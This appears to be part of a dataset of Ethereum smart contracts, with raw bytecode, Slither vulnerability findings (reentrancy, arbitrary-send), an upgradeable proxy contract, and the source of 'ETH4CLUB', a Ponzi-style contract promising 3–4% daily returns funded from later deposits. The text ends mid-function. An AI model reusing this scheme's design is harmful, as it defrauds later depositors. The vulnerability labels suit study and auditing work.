5b6000813590506120ae81613021565b92915050565b6000815190506120c381613021565b92915050565b6000815190506120d881613038565b92915050565b6000813590506120ed8161304f565b92915050565b6000815190506121028161304f565b92915050565b60006020828403121561211e5761211d612d08565b5b600061212c8482850161209f565b91505092915050565b60006020828403121561214b5761214a612d08565b5b6000612159848285016120b4565b91505092915050565b6000806040838503121561217957612178612d08565b5b60006121878582860161209f565b92505060206121988582860161209f565b9150509250929050565b6000806000606084860312156121bb576121ba612d08565b5b60006121c98682870161209f565b93505060206121da8682870161209f565b92505060406121eb868287016120de565b9150509250925092565b6000806040838503121561220c5761220b612d08565b5b600061221a8582860161209f565b925050602061222b858286016120de565b9150509250929050565b60006020828403121561224b5761224a612d08565b5b6000612259848285016120c9565b91505092915050565b60006020828403121561227857612277612d08565b5b6000612286848285016120de565b91505092915050565b6000602082840312156122a5576122a4612d08565b5b60006122b3848285016120f3565b91505092915050565b6000806000606084860312156122d5576122d4612d08565b5b60006122e3868287016120f3565b93505060206122f4868287016120f3565b9250506040612305868287016120f3565b9150509250925092565b600061231b8383612327565b60208301905092915050565b61233081612bb2565b82525050565b61233f81612bb2565b82525050565b6000612350826128e7565b61235a818561290a565b9350612365836128d7565b8060005b8381101561239657815161237d888261230f565b9750612388836128fd565b925050600181019050612369565b5085935050505092915050565b6123ac81612bc4565b82525050565b6123bb81612c07565b82525050565b60006123cc826128f2565b6123d6818561291b565b93506123e6818560208601612c19565b6123ef81612d0d565b840191505092915050565b600061240760238361291b565b915061241282612d2b565b604082019050919050565b600061242a602a8361291b565b915061243582612d7a565b604082019050919050565b600061244d60228361291b565b915061245882612dc9565b604082019050919050565b600061247060178361291b565b915061247b82612e18565b602082019050919050565b6000612493601b8361291b565b915061249e82612e41565b602082019050919050565b60006124b6601a8361291b565b91506124c182612e6a565b602082019050919050565b60006124d960218361291b565b91506124e482612e93565b604082019050919050565b60006124fc60208361291b565b915061250782612ee2565b602082019050919050565b600061251f60298361291b565b915061252a82612f0b565b604082019050919050565b600061254260258361291b565b915061254d82612f5a565b604082019050919050565b600061256560248361291b565b915061257082612fa9565b604082019050919050565b6000612588601a8361291b565b915061259382612ff8565b602082019050919050565b6125a781612bf0565b82525050565b6125b681612bfa565b82525050565b60006020820190506125d16000830184612336565b92915050565b60006040820190506125ec6000830185612336565b6125f96020830184612336565b9392505050565b60006040820190506126156000830185612336565b612622602083018461259e565b9392505050565b600060c08201905061263e6000830189612336565b61264b602083018861259e565b61265860408301876123b2565b61266560608301866123b2565b6126726080830185612336565b61267f60a083018461259e565b979650505050505050565b600060208201905061269f60008301846123a3565b92915050565b600060208201905081810360008301526126bf81846123c1565b905092915050565b600060208201905081810360008301526126e0816123fa565b9050919050565b600060208201905081810360008301526127008161241d565b9050919050565b6000602082019050818103600083015261272081612440565b9050919050565b6000602082019050818103600083015261274081612463565b9050919050565b6000602082019050818103600083015261276081612486565b9050919050565b60006020820190508181036000830152612780816124a9565b9050919050565b600060208201905081810360008301526127a0816124cc565b9050919050565b600060208201905081810360008301526127c0816124ef565b9050919050565b600060208201905081810360008301526127e081612512565b9050919050565b6000602082019050818103600083015261280081612535565b9050919050565b6000602082019050818103600083015261282081612558565b9050919050565b600060208201905081810360008301526128408161257b565b9050919050565b600060208201905061285c600083018461259e565b92915050565b600060a082019050612877600083018861259e565b61288460208301876123b2565b81810360408301526128968186612345565b90506128a56060830185612336565b6128b2608083018461259e565b9695505050505050565b60006020820190506128d160008301846125ad565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061293782612bf0565b915061294283612bf0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561297757612976612c4c565b5b828201905092915050565b600061298d82612bf0565b915061299883612bf0565b9250826129a8576129a7612c7b565b5b828204905092915050565b6000808291508390505b60018511156129fd578086048111156129d9576129d8612c4c565b5b60018516156129e85780820291505b80810290506129f685612d1e565b94506129bd565b94509492505050565b6000612a1182612bf0565b9150612a1c83612bfa565b9250612a497fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612a51565b905092915050565b600082612a615760019050612b1d565b81612a6f5760009050612b1d565b8160018114612a855760028114612a8f57612abe565b6001915050612b1d565b60ff841115612aa157612aa0612c4c565b5b8360020a915084821115612ab857612ab7612c4c565b5b50612b1d565b5060208310610133831016604e8410600b8410161715612af35782820a905083811115612aee57612aed612c4c565b5b612b1d565b612b0084848460016129b3565b92509050818404811115612b1757612b16612c4c565b5b81810290505b9392505050565b6000612b2f82612bf0565b9150612b3a83612bf0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b7357612b72612c4c565b5b828202905092915050565b6000612b8982612bf0565b9150612b9483612bf0565b925082821015612ba757612ba6612c4c565b5b828203905092915050565b6000612bbd82612bd0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612c1282612bf0565b9050919050565b60005b83811015612c37578082015181840152602081019050612c1c565b83811115612c46576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206973206e6f74207374617274656420796574000000000000600082015250565b61302a81612bb2565b811461303557600080fd5b50565b61304181612bc4565b811461304c57600080fd5b50565b61305881612bf0565b811461306357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203b1943432477a7d463b2f3144e3d00cfa1c04d8a9fb6775a5132b3772125512d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,351
0xd5df2a8b6dcc3e4730703a9c1d65c4cf8d591337
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback() external payable { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive() external payable { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual {} /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal view override returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor( address _logic, address _admin, bytes memory _data ) public payable UpgradeabilityProxy(_logic, _data) { assert(ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal virtual override { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061005e5760003560e01c80635c60da1b116100435780635c60da1b146101425780638f28397014610180578063f851a440146101c05761006d565b80633659cfe6146100755780634f1ef286146100b55761006d565b3661006d5761006b6101d5565b005b61006b6101d5565b34801561008157600080fd5b5061006b6004803603602081101561009857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101ef565b61006b600480360360408110156100cb57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561010357600080fd5b82018360208201111561011557600080fd5b8035906020019184600183028401116401000000008311171561013757600080fd5b509092509050610243565b34801561014e57600080fd5b50610157610317565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561018c57600080fd5b5061006b600480360360208110156101a357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661036e565b3480156101cc57600080fd5b50610157610476565b6101dd6104c1565b6101ed6101e8610555565b61057a565b565b6101f761059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023857610233816105c3565b610240565b6102406101d5565b50565b61024b61059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561030a57610287836105c3565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146102f1576040519150601f19603f3d011682016040523d82523d6000602084013e6102f6565b606091505b505090508061030457600080fd5b50610312565b6103126101d5565b505050565b600061032161059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c610555565b905061036b565b61036b6101d5565b90565b61037661059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102385773ffffffffffffffffffffffffffffffffffffffff8116610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806106e96036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61043e61059e565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a161023381610610565b600061048061059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c61059e565b3b151590565b6104c961059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561054d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806106b76032913960400191505060405180910390fd5b6101ed6101ed565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610599573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6105cc81610634565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61063d816104bb565b610692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061071f603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220745819cd27b4b1bacd2548f51f89b29613cd7bd1b57edf43278dd7e150fe05be64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,352
0xf6f8730e6aa86bc3cc8eb06c186864c4b29b814e
pragma solidity ^0.4.24; /*** * @title -ETH4 v0.1.0 * * * .----------------. .----------------. .----------------. .----------------. * | .--------------. || .--------------. || .--------------. || .--------------. | * | | _________ | || | _________ | || | ____ ____ | || | _ _ | | * | | |_ ___ | | || | | _ _ | | || | |_ || _| | || | | | | | | | * | | | |_ \_| | || | |_/ | | \_| | || | | |__| | | || | | |__| |_ | | * | | | _| _ | || | | | | || | | __ | | || | |____ _| | | * | | _| |___/ | | || | _| |_ | || | _| | | |_ | || | _| |_ | | * | | |_________| | || | |_____| | || | |____||____| | || | |_____| | | * | | | || | | || | | || | | | * | '--------------' || '--------------' || '--------------' || '--------------' | * '----------------' '----------------' '----------------' '----------------' * ┌───────────────────────────────────────┐ * │ Website: http://Eth4.club │ * │ Discord: https://discord.gg/Uj72bZR│ * │ Telegram: https://t.me/eth4_club │ * │CN Telegram: https://t.me/eth4_club_CN │ * │RU Telegram: https://t.me/Eth4_Club_RU │ * └───────────────────────────────────────┘ * * This product is provided for public use without any guarantee or recourse to appeal * * Payouts are collectible daily after 00:00 UTC * Referral rewards are distributed automatically. * The last 5 in before 00:00 UTC win the midnight prize. * * By sending ETH to this contract you are agreeing to the terms set out in the logic listed below. * * WARNING1: Do not invest more than you can afford. * WARNING2: You can earn. */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { _owner = msg.sender; } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /*** * __ __ __ _ __ _ ___ __ __ _ _____ ___ __ ________ * | V |/ \| | \| | / _//__\| \| |_ _| _ \/ \ / _/_ _| * | \_/ | /\ | | | ' | | \_| \/ | | ' | | | | v / /\ | \__ | | * |_| |_|_||_|_|_|\__| \__/\__/|_|\__| |_| |_|_\_||_|\__/ |_| */ contract ETH4CLUB is Ownable { using SafeMath for uint; modifier isHuman() { uint32 size; address investor = msg.sender; assembly { size: = extcodesize(investor) } if (size > 0) { revert("Inhuman"); } _; } event DailyDividendPayout(address indexed _address, uint value, uint periodCount, uint percent, uint time); event ReferralPayout(address indexed _addressFrom, address indexed _addressTo, uint value, uint percent, uint time); event MidnightRunPayout(address indexed _address, uint value, uint totalValue, uint userValue, uint time); uint public period = 24 hours; uint public startTime = 1538186400; // Fri, 29 Sep 2018 02:00:00 +0000 UTC uint public dailyDividendPercent = 300; //3% uint public referredDividendPercent = 400; //4% uint public referrerPercent = 300; //3% uint public minBetLevel = 0.01 ether; uint public referrerAndOwnerPercent = 2000; //20% uint public currentStakeID = 1; struct DepositInfo { uint value; uint firstBetTime; uint lastBetTime; uint lastPaymentTime; uint nextPayAfterTime; bool isExist; uint id; uint referrerID; } mapping(address => DepositInfo) public investorToDepostIndex; mapping(uint => address) public idToAddressIndex; // Jackpot uint public midnightPrizePercent = 1000; //10% uint public midnightPrize = 0; uint public nextPrizeTime = startTime + period; uint public currentPrizeStakeID = 0; struct MidnightRunDeposit { uint value; address user; } mapping(uint => MidnightRunDeposit) public stakeIDToDepositIndex; /** * Constructor no need for unnecessary work in here. */ constructor() public { } /** * Fallback and entrypoint for deposits. */ function() public payable isHuman { if (msg.value == 0) { collectPayoutForAddress(msg.sender); } else { uint refId = 1; address referrer = bytesToAddress(msg.data); if (investorToDepostIndex[referrer].isExist) { refId = investorToDepostIndex[referrer].id; } deposit(refId); } } /** * Reads the given bytes into an addtress */ function bytesToAddress(bytes bys) private pure returns(address addr) { assembly { addr: = mload(add(bys, 20)) } } /** * Put some funds into the contract for the prize */ function addToMidnightPrize() public payable onlyOwner { midnightPrize += msg.value; } /** * Get the time of the next payout - calculated */ function getNextPayoutTime() public view returns(uint) { if (now<startTime) return startTime + period; return startTime + ((now.sub(startTime)).div(period)).mul(period) + period; } /** * Make a deposit into the contract */ function deposit(uint _referrerID) public payable isHuman { require(_referrerID <= currentStakeID, "Who referred you?"); require(msg.value >= minBetLevel, "Doesn't meet minimum stake."); // when is next midnight ? uint nextPayAfterTime = getNextPayoutTime(); if (investorToDepostIndex[msg.sender].isExist) { if (investorToDepostIndex[msg.sender].nextPayAfterTime < now) { collectPayoutForAddress(msg.sender); } investorToDepostIndex[msg.sender].value += msg.value; investorToDepostIndex[msg.sender].lastBetTime = now; } else { DepositInfo memory newDeposit; newDeposit = DepositInfo({ value: msg.value, firstBetTime: now, lastBetTime: now, lastPaymentTime: 0, nextPayAfterTime: nextPayAfterTime, isExist: true, id: currentStakeID, referrerID: _referrerID }); investorToDepostIndex[msg.sender] = newDeposit; idToAddressIndex[currentStakeID] = msg.sender; currentStakeID++; } if (now > nextPrizeTime) { doMidnightRun(); } currentPrizeStakeID++; MidnightRunDeposit memory midnitrunDeposit; midnitrunDeposit.user = msg.sender; midnitrunDeposit.value = msg.value; stakeIDToDepositIndex[currentPrizeStakeID] = midnitrunDeposit; // contribute to the Midnight Run Prize midnightPrize += msg.value.mul(midnightPrizePercent).div(10000); // Is there a referrer to be paid? if (investorToDepostIndex[msg.sender].referrerID != 0) { uint refToPay = msg.value.mul(referrerPercent).div(10000); // Referral Fee idToAddressIndex[investorToDepostIndex[msg.sender].referrerID].transfer(refToPay); // Team and advertising fee owner().transfer(msg.value.mul(referrerAndOwnerPercent - referrerPercent).div(10000)); emit ReferralPayout(msg.sender, idToAddressIndex[investorToDepostIndex[msg.sender].referrerID], refToPay, referrerPercent, now); } else { // Team and advertising fee owner().transfer(msg.value.mul(referrerAndOwnerPercent).div(10000)); } } /** * Collect payout for the msg.sender */ function collectPayout() public isHuman { collectPayoutForAddress(msg.sender); } /** * Collect payout for the given address */ function getRewardForAddress(address _address) public onlyOwner { collectPayoutForAddress(_address); } /** * */ function collectPayoutForAddress(address _address) internal { require(investorToDepostIndex[_address].isExist == true, "Who are you?"); require(investorToDepostIndex[_address].nextPayAfterTime < now, "Not yet."); uint periodCount = now.sub(investorToDepostIndex[_address].nextPayAfterTime).div(period).add(1); uint percent = dailyDividendPercent; if (investorToDepostIndex[_address].referrerID > 0) { percent = referredDividendPercent; } uint toPay = periodCount.mul(investorToDepostIndex[_address].value).div(10000).mul(percent); investorToDepostIndex[_address].lastPaymentTime = now; investorToDepostIndex[_address].nextPayAfterTime += periodCount.mul(period); // protect contract - this could result in some bad luck - but not much if (toPay.add(midnightPrize) < address(this).balance.sub(msg.value)) { _address.transfer(toPay); emit DailyDividendPayout(_address, toPay, periodCount, percent, now); } } /** * Perform the Midnight Run */ function doMidnightRun() public isHuman { require(now>nextPrizeTime , "Not yet"); // set the next prize time to the next payout time (MidnightRun) nextPrizeTime = getNextPayoutTime(); if (currentPrizeStakeID > 5) { uint toPay = midnightPrize; midnightPrize = 0; if (toPay > address(this).balance){ toPay = address(this).balance; } uint totalValue = stakeIDToDepositIndex[currentPrizeStakeID].value + stakeIDToDepositIndex[currentPrizeStakeID - 1].value + stakeIDToDepositIndex[currentPrizeStakeID - 2].value + stakeIDToDepositIndex[currentPrizeStakeID - 3].value + stakeIDToDepositIndex[currentPrizeStakeID - 4].value; stakeIDToDepositIndex[currentPrizeStakeID].user.transfer(toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID].value).div(totalValue)); emit MidnightRunPayout(stakeIDToDepositIndex[currentPrizeStakeID].user, toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID].value).div(totalValue), totalValue, stakeIDToDepositIndex[currentPrizeStakeID].value, now); stakeIDToDepositIndex[currentPrizeStakeID - 1].user.transfer(toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 1].value).div(totalValue)); emit MidnightRunPayout(stakeIDToDepositIndex[currentPrizeStakeID - 1].user, toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 1].value).div(totalValue), totalValue, stakeIDToDepositIndex[currentPrizeStakeID - 1].value, now); stakeIDToDepositIndex[currentPrizeStakeID - 2].user.transfer(toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 2].value).div(totalValue)); emit MidnightRunPayout(stakeIDToDepositIndex[currentPrizeStakeID - 2].user, toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 2].value).div(totalValue), totalValue, 